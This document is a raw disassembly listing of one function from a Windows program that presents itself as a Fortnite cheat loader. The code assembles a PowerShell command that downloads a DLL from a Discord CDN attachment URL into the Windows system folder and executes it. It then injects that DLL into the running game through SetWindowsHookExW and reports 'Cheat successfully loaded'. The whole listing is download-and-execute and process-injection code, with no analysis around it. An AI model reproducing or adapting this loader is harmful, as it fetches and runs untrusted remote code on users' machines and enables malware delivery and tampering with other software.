Function at 0x1400015d0
Capabilities:
Check if file exists
Execute command
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r13
push rbp
push r14
push r15
lea rbp, [rsp - 0x10]
sub rsp, 0x110
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp], rax
xor ebx, ebx
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x10], rbx
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], bl
mov r8d, 0xb4
lea rdx, str.https:__cdn.discordapp.com_attachments_817171441468047370_1175531315613925406_12434.dll_ex656b91d9is65591cd9hm38c135c0586742956135903207b6ead1bc3c199bf53f8d09f727b4b68360b6b6
lea rcx, [rbp - 0x20]
call fcn.140001d00
nop
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], bl
lea r8d, [rbx + 0x1b]
lea rdx, [0x140003468]
lea rcx, [rbp - 0x40]
call fcn.140001d00
nop
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov rsi, qword [rbp - 0x10]
sub rax, rsi
cmp rax, 0x45
jb 0x140001c25
lea r15, [rbp - 0x20]
mov r13, qword [rbp - 8]
cmp r13, 0x10
setae byte [rsp + 0x30]
cmovae r15, qword [rbp - 0x20]
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rbx
lea r14, [rsi + 0x45]
mov edi, 0xf
lea rbx, [rsp + 0x38]
cmp r14, rdi
jbe 0x14000172a
mov rdi, r14
or rdi, 0xf
cmp rdi, rcx
jbe 0x1400016be
mov rdi, rcx
jmp 0x1400016ca
mov eax, 0x16
cmp rdi, rax
cmovb rdi, rax
mov rcx, rdi
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x140001714
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001c1f
mov rcx, rax
call fcn.140001f38
test rax, rax
je 0x14000170d
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140001725
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140001723
call fcn.140001f38
mov rbx, rax
jmp 0x140001725
xor ebx, ebx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x50], rdi
movaps xmm0, xmmword [str.powershell__Command___New_Object_System.Net.WebClient_.DownloadFile_]
movups xmmword [rbx], xmm0
movaps xmm1, xmmword [0x1400034a0]
movups xmmword [rbx + 0x10], xmm1
movaps xmm0, xmmword [0x1400034b0]
movups xmmword [rbx + 0x20], xmm0
movaps xmm1, xmmword [0x1400034c0]
movups xmmword [rbx + 0x30], xmm1
mov eax, dword [0x1400034d0]
mov dword [rbx + 0x40], eax
movzx eax, byte [0x1400034d4]
mov byte [rbx + 0x44], al
lea rcx, [rbx + 0x45]
mov r8, rsi
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r14], 0
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov rax, rdx
sub rax, rcx
cmp rax, 4
jb 0x1400017c7
lea rax, [rcx + 4]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x38]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x38]
mov dword [rax + rcx], 0x27202c27
mov byte [rax + rcx + 4], 0
lea rax, [rsp + 0x38]
jmp 0x1400017ec
mov qword [rsp + 0x20], 4
lea r9, str.__
movzx r8d, byte [rsp + 0x30]
mov edx, 4
lea rcx, [rsp + 0x38]
call fcn.1400011d0
xor esi, esi
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x70], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x78], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], sil
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rdx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x30]
lea rcx, [rsp + 0x78]
call fcn.140001c70
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], sil
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rax, rdx
sub rax, rcx
cmp rax, 3
jb 0x1400018b4
lea rax, [rcx + 3]
mov qword [rsp + 0x68], rax
lea rbx, [rsp + 0x58]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x58]
add rbx, rcx
lea r8d, [rsi + 3]
lea rdx, [0x140003484]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 3], sil
lea rax, [rsp + 0x58]
jmp 0x1400018d9
mov qword [rsp + 0x20], 3
lea r9, [0x140003484]
movzx r8d, byte [rsp + 0x30]
mov edx, 3
lea rcx, [rsp + 0x58]
call fcn.1400011d0
mov qword [rbp - 0x68], rsi
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x50], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x58], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140001943
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000193e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000193e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001f74
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x140001995
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001990
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001990
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001f74
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], 0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x1400019e6
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400019e1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001f74
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], 0xf
mov byte [rsp + 0x38], 0
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rcx, qword [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem12434.dll
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140001a2b
lea rdx, str.__ERROR:_1337__
jmp 0x140001ad0
xor edx, edx
lea rcx, str.UnrealWindow
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
jne 0x140001a4b
lea rdx, str.__ERROR:_Fortnite_is_not_running__
jmp 0x140001ad0
mov dword [rbp - 0x48], esi
lea rdx, [rbp - 0x48]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edi, eax
test eax, eax
jne 0x140001a6a
lea rdx, str.__ERROR:_3__
jmp 0x140001ad0
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, str.C:WindowsSystem12434.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rbx, rax
test rax, rax
jne 0x140001a8e
lea rdx, str.__ERROR:_4__
jmp 0x140001ad0
lea rdx, str.NextHook
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x140001aac
lea rdx, str.__ERROR:_5__
jmp 0x140001ad0
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov ecx, 3
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
test rax, rax
jne 0x140001b61
lea rdx, str.__ERROR:_6__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call section..text
lea rdx, [0x140001360]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov r8, qword [rbp - 0x50]
cmp r8, 0x10
jb 0x140001b14
inc r8
mov rdx, qword [rbp - 0x68]
lea rcx, [rbp - 0x68]
call fcn.140001e60
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x50], 0xf
mov byte [rbp - 0x68], 0
mov r8, qword [rbp - 0x28]
cmp r8, 0x10
jb 0x140001b3f
inc r8
mov rdx, qword [rbp - 0x40]
lea rcx, [rbp - 0x40]
call fcn.140001e60
nop
cmp byte [rsp + 0x30], 0
je 0x140001b57
lea r8, [r13 + 1]
mov rdx, qword [rbp - 0x20]
lea rcx, [rbp - 0x20]
call fcn.140001e60
mov eax, 1
jmp 0x140001bf2
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, edi
call qword [sym.imp.USER32.dll_PostThreadMessageW]
lea rdx, str.__SUCCESS___Cheat_successfully_loaded.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call section..text
lea rdx, [0x140001360]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov r8, qword [rbp - 0x50]
cmp r8, 0x10
jb 0x140001baf
inc r8
mov rdx, qword [rbp - 0x68]
lea rcx, [rbp - 0x68]
call fcn.140001e60
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x50], 0xf
mov byte [rbp - 0x68], 0
mov r8, qword [rbp - 0x28]
cmp r8, 0x10
jb 0x140001bda
inc r8
mov rdx, qword [rbp - 0x40]
lea rcx, [rbp - 0x40]
call fcn.140001e60
nop
cmp byte [rsp + 0x30], 0
je 0x140001bf2
lea r8, [r13 + 1]
mov rdx, qword [rbp - 0x20]
lea rcx, [rbp - 0x20]
call fcn.140001e60
mov rcx, qword [rbp]
xor rcx, rsp
call fcn.140002010
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r13, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140001c30
nop
call fcn.140001c50
int3